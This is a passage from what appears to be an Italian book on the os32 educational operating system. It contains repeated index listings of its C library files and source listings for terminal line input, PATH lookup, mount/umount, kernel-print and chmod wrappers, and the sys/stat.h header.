120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667

120.13.18 lib/stdlib/setenv.c 7668

120.13.19 lib/stdlib/strtol.c 7670

120.13.20 lib/stdlib/strtoul.c 7674

120.13.21 lib/stdlib/unsetenv.c 7675

120.13.22 lib/stdlib_alloc/_alloc_list.c 7676

120.13.23 lib/stdlib_alloc/free.c 7678

120.13.24 lib/stdlib_alloc/malloc.c 7679

120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693

120.14.2 lib/string/memchr.c 7693

120.14.3 lib/string/memcmp.c 7694

120.14.4 lib/string/memcpy.c 7694

120.14.5 lib/string/memmove.c 7695

120.14.6 lib/string/memset.c 7695

120.14.7 lib/string/strcat.c 7696

120.14.8 lib/string/strchr.c 7696

120.14.9 lib/string/strcmp.c 7697

120.14.10 lib/string/strcoll.c 7697

120.14.11 lib/string/strcpy.c 7698

120.14.12 lib/string/strcspn.c 7698

120.14.13 lib/string/strdup.c 7699

120.14.14 lib/string/strerror.c 7699

120.14.15 lib/string/strlen.c 7702

120.14.16 lib/string/strncat.c 7702

120.14.17 lib/string/strncmp.c 7703

120.14.18 lib/string/strncpy.c 7703

120.14.19 lib/string/strpbrk.c 7704

120.14.20 lib/string/strrchr.c 7704

120.14.21 lib/string/strspn.c 7705

120.14.22 lib/string/strstr.c 7705

120.14.23 lib/string/strtok.c 7706

120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725

120.15.2 lib/sys/os32/mount.c 7729

120.15.3 lib/sys/os32/namep.c 7729

120.15.4 lib/sys/os32/sys.s 7732

120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799

```
3790001 #include <sys/os32.h>
3790002 #include <string.h>
3790003 #include <stdio.h>
3790004 #include <errno.h>
3790005 #include <unistd.h>
3790006 //----------------------------------------------------------------------
3790007 static int terminal_echo    (struct termios *orig);
3790008 static int terminal_noecho  (struct termios *orig);
3790009 static int terminal_restore (struct termios *orig);
3790010 //----------------------------------------------------------------------
3790011 void
3790012 input_line (char *line, char *prompt, size_t size, int type)
3790013 {
3790014     void          *pstatus;
3790015     int            i;
3790016     struct termios attr;
3790017     //
3790018     // Set terminal configuration.
3790019     //
3790020     if (type == INPUT_LINE_HIDDEN)
3790021       {
3790022         terminal_noecho (&attr);
3790023       }
3790024     else
3790025       {
3790026         terminal_echo (&attr);
3790027       }
3790028     //
3790029     if (prompt != NULL || strlen (prompt) > 0)
3790030       {
3790031         printf ("%s", prompt);
3790032       }
3790033     //
3790034     errno = 0;
3790035     pstatus = fgets (line, (int) size, stdin);
3790036     if (pstatus == NULL)
3790037       {
3790038         if (errno)
3790039           {
3790040             perror (NULL);
3790041           }
3790042         line[0] = 0;
3790043         //
3790044         // Reset terminal mode.
3790045         //
3790046         terminal_restore (&attr);
3790047         return;
3790048       }
3790049     //
3790050     // Find the last position and, if there is a new line code,
3790051     // replace it with zero.
```

```
3790052     //
3790053     i = strlen (line);
3790054     if (line[i-1] == '\n')
3790055       {
3790056         line[i-1] = '\0';
3790057       }
3790058     //
3790059     // Restore terminal mode.
3790060     //
3790061     terminal_restore (&attr);
3790062 }
3790063 //------------------------------------------------------------------------
3790064 static int
3790065 terminal_echo (struct termios *orig)
3790066 {
3790067     int            status;
3790068     struct termios attr;
3790069     //
3790070     // Save previous.
3790071     //
3790072     status = tcgetattr (STDIN_FILENO, orig);
3790073     if (status < 0)
3790074       {
3790075         return (-1);
3790076       }
3790077     //
3790078     // Get again.
3790079     //
3790080     status = tcgetattr (STDIN_FILENO, &attr);
3790081     if (status < 0)
3790082       {
3790083         return (-1);
3790084       }
3790085     //
3790086     attr.c_iflag |=  (BRKINT|ICRNL);
3790087     attr.c_iflag &= ~(IGNBRK|INLCR);
3790088     //
3790089     attr.c_lflag |=  (ECHO|ECHOE|ECHOK|ECHONL|ICANON|ISIG);
3790090     attr.c_lflag &= ~(IEXTEN);
3790091     //
3790092     status = tcsetattr (STDIN_FILENO, TCSANOW, &attr);
3790093     //
3790094     return (status);
3790095 }
3790096 //------------------------------------------------------------------------
3790097 static int
3790098 terminal_noecho (struct termios *orig)
3790099 {
3790100     int            status;
3790101     struct termios attr;
3790102     //
3790103     // Save previous.
```

```
3790104      //
3790105      status = tcgetattr (STDIN_FILENO, orig);
3790106      if (status < 0)
3790107        {
3790108          return (-1);
3790109        }
3790110      //
3790111      // Get again.
3790112      //
3790113      status = tcgetattr (STDIN_FILENO, &attr);
3790114      if (status < 0)
3790115        {
3790116          return (-1);
3790117        }
3790118      //
3790119      attr.c_iflag |=  (BRKINT|ICRNL);
3790120      attr.c_iflag &= ~(IGNBRK|INLCR);
3790121      //
3790122      attr.c_lflag |=  (ICANON|ISIG);
3790123      attr.c_lflag &= ~(ECHO|IEXTEN);
3790124      //
3790125      status = tcsetattr (STDIN_FILENO, TCSANOW, &attr);
3790126      //
3790127      return (status);
3790128  }
3790129  //----------------------------------------------------------------------
3790130  static int
3790131  terminal_restore (struct termios *orig)
3790132  {
3790133      int status;
3790134      //
3790135      // For an unknown reason, when running with Bochs, before
3790136      // restoring the termios configuration, the previous one
3790137      // is to be read. Here, 'attr' is just a placeholder and
3790138      // the updated content is not used for anything else.
3790139      //
3790140      struct termios attr;
3790141      status = tcgetattr (STDIN_FILENO, &attr);
3790142      if (status < 0)
3790143        {
3790144          return (-1);
3790145        }
3790146      //
3790147      //
3790148      //
3790149      status = tcsetattr (STDIN_FILENO, TCSANOW, orig);
3790150      //
3790151      return (status);
3790152  }
```

120.15.2 lib/sys/os32/mount.c

Si veda la sezione 112.31.

```
3800001 #include <sys/types.h>
3800002 #include <errno.h>
3800003 #include <sys/os32.h>
3800004 #include <stddef.h>
3800005 #include <string.h>
3800006 //----------------------------------------------------------------------
3800007 int
3800008 mount (const char *path_dev, const char *path_mnt, int options)
3800009 {
3800010     sysmsg_mount_t msg;
3800011     //
3800012     strncpy (msg.path_dev, path_dev, PATH_MAX);
3800013     strncpy (msg.path_mnt, path_mnt, PATH_MAX);
3800014     msg.options = options;
3800015     msg.ret     = 0;
3800016     msg.errno   = 0;
3800017     //
3800018     sys (SYS_MOUNT, &msg, (sizeof msg));
3800019     //
3800020     errno = msg.errno;
3800021     errln = msg.errln;
3800022     strncpy (errfn, msg.errfn, PATH_MAX);
3800023     return (msg.ret);
3800024 }
```

120.15.3 lib/sys/os32/namep.c

Si veda la sezione 113.80.

```
3810001 #include <sys/os32.h>
3810002 #include <stdlib.h>
3810003 #include <errno.h>
3810004 #include <unistd.h>
3810005 //----------------------------------------------------------------------
3810006 int
3810007 namep (const char *name, char *path, size_t size)
3810008 {
3810009     char  command[PATH_MAX];
3810010     char *env_path;
3810011     int   p;            // Index used inside the path environment.
3810012     int   c;            // Index used inside the command string.
3810013     int   status;
3810014     //
3810015     // Check for valid input.
3810016     //
3810017     if (name == NULL || name[0] == 0 || path == NULL || name == path)
3810018       {
```

```
3810019            errset (EINVAL);                // Invalid argument.
3810020            return (-1);
3810021          }
3810022        //
3810023        // Check if the original command contains at least a '/'. Otherwise
3810024        // a scan for the environment variable 'PATH' must be done.
3810025        //
3810026        if (strchr (name, '/') == NULL)
3810027          {
3810028            //
3810029            // Ok: no '/' there. Get the environment variable 'PATH'.
3810030            //
3810031            env_path = getenv ("PATH");
3810032            if (env_path == NULL)
3810033              {
3810034                //
3810035                // There is no 'PATH' environment value.
3810036                //
3810037                errset (ENOENT);            // No such file or directory.
3810038                return (-1);
3810039              }
3810040            //
3810041            // Scan paths and try to find a file with that name.
3810042            //
3810043            for (p = 0; env_path[p] != 0;)
3810044              {
3810045                for (c = 0;
3810046                     c < (PATH_MAX - strlen(name) - 2) &&
3810047                     env_path[p] != 0                  &&
3810048                     env_path[p] != ':';
3810049                     c++, p++)
3810050                  {
3810051                    command[c] = env_path[p];
3810052                  }
3810053                //
3810054                // If the loop is ended because the command array does not
3810055                // have enough room for the full path, then must return an
3810056                // error.
3810057                //
3810058                if (env_path[p] != ':' && env_path[p] != 0)
3810059                  {
3810060                    errset (ENAMETOOLONG);  // Filename too long.
3810061                    return (-1);
3810062                  }
3810063                //
3810064                // The command array has enough space. At index 'c' must
3810065                // place a zero, to terminate current string.
3810066                //
3810067                command[c] = 0;
3810068                //
3810069                // Add the rest of the path.
3810070                //
```

```
3810071                 strcat (command, "/");
3810072                 strcat (command, name);
3810073                 //
3810074                 // Verify to have something with that full path name.
3810075                 //
3810076                 status = access (command, F_OK);
3810077                 if (status == 0)
3810078                   {
3810079                     //
3810080                     // Verify to have enough room inside the destination
3810081                     // path.
3810082                     //
3810083                     if (strlen (command) >= size)
3810084                       {
3810085                         //
3810086                         // Sorry: too big. There must be room also for
3810087                         // the string termination null character.
3810088                         //
3810089                         errset (ENAMETOOLONG);      // Filename too long.
3810090                         return (-1);
3810091                       }
3810092                     //
3810093                     // Copy the path and return.
3810094                     //
3810095                     strncpy (path, command, size);
3810096                     return (0);
3810097                   }
3810098                 //
3810099                 // That path was not good: try again. But before returning
3810100                 // to the external loop, must verify if 'p' is to be
3810101                 // incremented, after a ':', because the external loop
3810102                 // does not touch the index 'p',
3810103                 //
3810104                 if (env_path[p] == ':')
3810105                   {
3810106                     p++;
3810107                   }
3810108               }
3810109             //
3810110             // At this point, there is no match with the paths.
3810111             //
3810112             errset (ENOENT);                // No such file or directory.
3810113             return (-1);
3810114           }
3810115         //
3810116         // At this point, a path was given and the environment variable
3810117         // 'PATH' was not scanned. Just copy the same path. But must verify
3810118         // that the receiving path has enough room for it.
3810119         //
3810120         if (strlen (name) >= size)
3810121           {
3810122             //
```

```
3810123             // Sorry: too big.
3810124             //
3810125             errset (ENAMETOOLONG);  // Filename too long.
3810126             return (-1);
3810127           }
3810128         //
3810129         // Ok: copy and return.
3810130         //
3810131         strncpy (path, name, size);
3810132         return (0);
3810133     }
```

120.15.4 lib/sys/os32/sys.s

Si veda la sezione 112.46.

```
3820001 .global sys
3820002 #------------------------------------------------------------------------
3820003 .text
3820004 #------------------------------------------------------------------------
3820005 # Call a system call.
3820006 #
3820007 # Please remember that system calls should never be used (called) inside
3820008 # the kernel code, because system calls cannot be nested for the os32
3820009 # simple architecture!
3820010 # If a particular function is necessary inside the kernel, that usually
3820011 # is made by a system call, an appropriate k_...() function must be
3820012 # made, to avoid the problem.
3820013 #
3820014 #------------------------------------------------------------------------
3820015 .align 4
3820016 sys:
3820017     int   $128   # 0x80
3820018     ret
```

120.15.5 lib/sys/os32/umount.c

Si veda la sezione 112.31.

```
3830001 #include <sys/types.h>
3830002 #include <errno.h>
3830003 #include <sys/os32.h>
3830004 #include <stddef.h>
3830005 #include <string.h>
3830006 //-----------------------------------------------------------------------
3830007 int
3830008 umount (const char *path_mnt)
3830009 {
3830010     sysmsg_umount_t msg;
```

```
3830011      //
3830012      strncpy (msg.path_mnt, path_mnt, PATH_MAX);
3830013      msg.ret      = 0;
3830014      msg.errno    = 0;
3830015      //
3830016      sys (SYS_UMOUNT, &msg, (sizeof msg));
3830017      //
3830018      errno = msg.errno;
3830019      errln = msg.errln;
3830020      strncpy (errfn, msg.errfn, PATH_MAX);
3830021      return (msg.ret);
3830022  }
```

120.15.6 lib/sys/os32/z_perror.c

Si veda la sezione 112.55.

```
3840001  #include <sys/os32.h>
3840002  #include <errno.h>
3840003  #include <stddef.h>
3840004  #include <string.h>
3840005  //----------------------------------------------------------------------
3840006  void
3840007  z_perror (const char *string)
3840008  {
3840009      //
3840010      // If errno is zero, there is nothing to show.
3840011      //
3840012      if (errno == 0)
3840013        {
3840014          return;
3840015        }
3840016      //
3840017      // Show the string if there is one.
3840018      //
3840019      if (string != NULL && strlen (string) > 0)
3840020        {
3840021          z_printf ("%s: ", string);
3840022        }
3840023      //
3840024      // Show the translated error.
3840025      //
3840026      if (errfn[0] != 0 && errln != 0)
3840027        {
3840028          z_printf ("[%s:%u:%i] %s\n",
3840029                    errfn, errln, errno, strerror (errno));
3840030        }
3840031      else
3840032        {
3840033          z_printf ("[%i] %s\n", errno, strerror (errno));
3840034        }
```

```
3840035 }
```

120.15.7 lib/sys/os32/z_printf.c

Si veda la sezione 112.55.

```
3850001 #include <sys/os32.h>
3850002 #include <restrict.h>
3850003 //----------------------------------------------------------------------
3850004 int
3850005 z_printf (const char *restrict format, ...)
3850006 {
3850007     va_list ap;
3850008     va_start (ap, format);
3850009     return z_vprintf (format, ap);
3850010 }
```

120.15.8 lib/sys/os32/z_vprintf.c

Si veda la sezione 112.55.

```
3860001 #include <sys/os32.h>
3860002 #include <restrict.h>
3860003 //----------------------------------------------------------------------
3860004 int
3860005 z_vprintf    (const char *restrict format, va_list arg)
3860006 {
3860007     int                           ret;
3860008     sysmsg_zpstring_t msg;
3860009     msg.string[0] = 0;
3860010     ret = vsprintf (msg.string, format, arg);
3860011     sys (SYS_ZPSTRING, &msg, (sizeof msg));
3860012     return ret;
3860013 }
```

120.16 os32: «lib/sys/stat.h»

Si veda la sezione 116.2.

```
3870001 #ifndef _SYS_STAT_H
3870002 #define _SYS_STAT_H     1
3870003 
3870004 #include <restrict.h>
3870005 #include <sys/types.h>  // dev_t
3870006                         // off_t
3870007                         // blkcnt_t
3870008                         // blksize_t
3870009                         // ino_t
```

```
3870010                          // mode_t
3870011                          // nlink_t
3870012                          // uid_t
3870013                          // gid_t
3870014                          // time_t
3870015 //----------------------------------------------------------------------
3870016 // File type.
3870017 //----------------------------------------------------------------------
3870018 #define S_IFMT   0170000        // File type mask.
3870019 //
3870020 #define S_IFBLK  0060000        // Block device file.
3870021 #define S_IFCHR  0020000        // Character device file.
3870022 #define S_IFIFO  0010000        // Pipe (FIFO) file.
3870023 #define S_IFREG  0100000        // Regular file.
3870024 #define S_IFDIR  0040000        // Directory.
3870025 #define S_IFLNK  0120000        // Symbolic link.
3870026 #define S_IFSOCK 0140000        // Unix domain socket.
3870027 //----------------------------------------------------------------------
3870028 // Owner user access permissions.
3870029 //----------------------------------------------------------------------
3870030 #define S_IRWXU  0000700        // Owner user access permissions mask.
3870031 //
3870032 #define S_IRUSR  0000400        // Owner user read access permission.
3870033 #define S_IWUSR  0000200        // Owner user write access permission.
3870034 #define S_IXUSR  0000100        // Owner user execution or cross perm.
3870035 //----------------------------------------------------------------------
3870036 // Group owner access permissions.
3870037 //----------------------------------------------------------------------
3870038 #define S_IRWXG  0000070        // Owner group access permissions mask.
3870039 //
3870040 #define S_IRGRP  0000040        // Owner group read access permission.
3870041 #define S_IWGRP  0000020        // Owner group write access permission.
3870042 #define S_IXGRP  0000010        // Owner group execution or cross perm.
3870043 //----------------------------------------------------------------------
3870044 // Other users access permissions.
3870045 //----------------------------------------------------------------------
3870046 #define S_IRWXO  0000007        // Other users access permissions mask.
3870047 //
3870048 #define S_IROTH  0000004        // Other users read access permission.
3870049 #define S_IWOTH  0000002        // Other users write access permissions.
3870050 #define S_IXOTH  0000001        // Other users execution or cross perm.
3870051 //----------------------------------------------------------------------
3870052 // S-bit: in this case there is no mask to select all of them.
3870053 //----------------------------------------------------------------------
3870054 #define S_ISUID  0004000        // S-UID.
3870055 #define S_ISGID  0002000        // S-GID.
3870056 #define S_ISVTX  0001000        // Sticky.
3870057 //----------------------------------------------------------------------
3870058 // Macro-instructions to verify the type of file.
3870059 //----------------------------------------------------------------------
3870060 #define S_ISBLK(m)    (((m) & S_IFMT) == S_IFBLK)    // Block device.
3870061 #define S_ISCHR(m)    (((m) & S_IFMT) == S_IFCHR)    // Character device.
```

```
3870062 #define S_ISFIFO(m)  (((m) & S_IFMT) == S_IFIFO)   // FIFO.
3870063 #define S_ISREG(m)   (((m) & S_IFMT) == S_IFREG)   // Regular file.
3870064 #define S_ISDIR(m)   (((m) & S_IFMT) == S_IFDIR)   // Directory.
3870065 #define S_ISLNK(m)   (((m) & S_IFMT) == S_IFLNK)   // Symbolic link.
3870066 #define S_ISSOCK(m)  (((m) & S_IFMT) == S_IFSOCK)  // Socket.
3870067 //----------------------------------------------------------------------
3870068 // Structure 'stat'.
3870069 //----------------------------------------------------------------------
3870070 struct stat {
3870071     dev_t     st_dev;       // Device containing the file.
3870072     ino_t     st_ino;       // File serial number (inode number).
3870073     mode_t    st_mode;      // File type and permissions.
3870074     nlink_t   st_nlink;     // Links to the file.
3870075     uid_t     st_uid;       // Owner user id.
3870076     gid_t     st_gid;       // Owner group id.
3870077     dev_t     st_rdev;      // Device number if it is a device file.
3870078     off_t     st_size;      // File size.
3870079     time_t    st_atime;     // Last access time.
3870080     time_t    st_mtime;     // Last modification time.
3870081     time_t    st_ctime;     // Last inode modification.
3870082     blksize_t st_blksize;   // Block size for I/O operations.
3870083     blkcnt_t  st_blocks;    // File size / block size.
3870084 };
3870085 //----------------------------------------------------------------------
3870086 // Function prototypes.
3870087 //----------------------------------------------------------------------
3870088 int    chmod  (const char *path, mode_t mode);
3870089 int    fchmod (int fdn, mode_t mode);
3870090 int    fstat  (int fdn, struct stat *buffer);
3870091 int    lstat  (const char *restrict path, struct stat *restrict buffer);
3870092 int    mkdir  (const char *path, mode_t mode);
3870093 int    mkfifo (const char *path, mode_t mode);
3870094 int    mknod  (const char *path, mode_t mode, dev_t dev);
3870095 int    stat   (const char *restrict path, struct stat *restrict buffer);
3870096 mode_t umask  (mode_t mask);
3870097 
3870098 #endif // _SYS_STAT_H
```

120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457
120.1.2 lib/SEEK.h 7457
120.1.3 lib/assert.h 7457
120.1.4 lib/clock_t.h 7458
120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461

120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591

120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c 7676

120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696
120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705
120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802
120.21.12 lib/unistd/execlp.c 7802

120.21.13 lib/unistd/execv.c 7803
120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808
120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809
120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823
120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824
120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827

120.22 os32: «lib/utime.h» 7828

120.22.1 lib/utime/utime.c 7834

120.16.1 lib/sys/stat/chmod.c

Si veda la sezione 112.5.

```
3880001 #include <sys/stat.h>
3880002 #include <string.h>
3880003 #include <sys/os32.h>
3880004 #include <errno.h>
3880005 #include <limits.h>
3880006 //----------------------------------------------------------------------
3880007 int
3880008 chmod (const char *path, mode_t mode)
3880009 {
3880010     sysmsg_chmod_t msg;
3880011     //
3880012     strncpy (msg.path, path, PATH_MAX);
3880013     msg.mode = mode;
3880014     //
3880015     sys (SYS_CHMOD, &msg, (sizeof msg));
3880016     //
3880017     errno = msg.errno;
3880018     errln = msg.errln;
3880019     strncpy (errfn, msg.errfn, PATH_MAX);
3880020     return (msg.ret);
3880021 }
```

120.16.2 lib/sys/stat/fchmod.c

Si veda la sezione 112.5.

```
3890001 #include <sys/stat.h>
